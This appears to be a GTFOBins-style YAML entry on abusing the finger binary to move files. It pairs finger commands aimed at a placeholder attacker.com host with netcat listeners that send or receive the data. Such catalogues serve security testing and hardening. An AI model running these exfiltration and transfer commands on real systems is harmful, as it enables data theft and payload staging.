Files

32 lines
740 B
Plaintext

---
functions:
download:
- code: |-
finger x@attacker.com
comment: |-
The command hangs waiting for the remote peer to close the socket.
contexts:
sudo:
suid:
unprivileged:
sender:
code: |-
nc -l -p 79 </path/to/input-file
comment: |-
A TCP server can be used on the attacker box to send the data.
upload:
- code: |-
finger DATA@attacker.com
comment: |-
The command hangs waiting for the remote peer to close the socket.
contexts:
sudo:
suid:
unprivileged:
receiver:
code: |-
nc -l -p 79 >/path/to/output-file
comment: |-
A TCP server can be used on the attacker box to receive the data.
...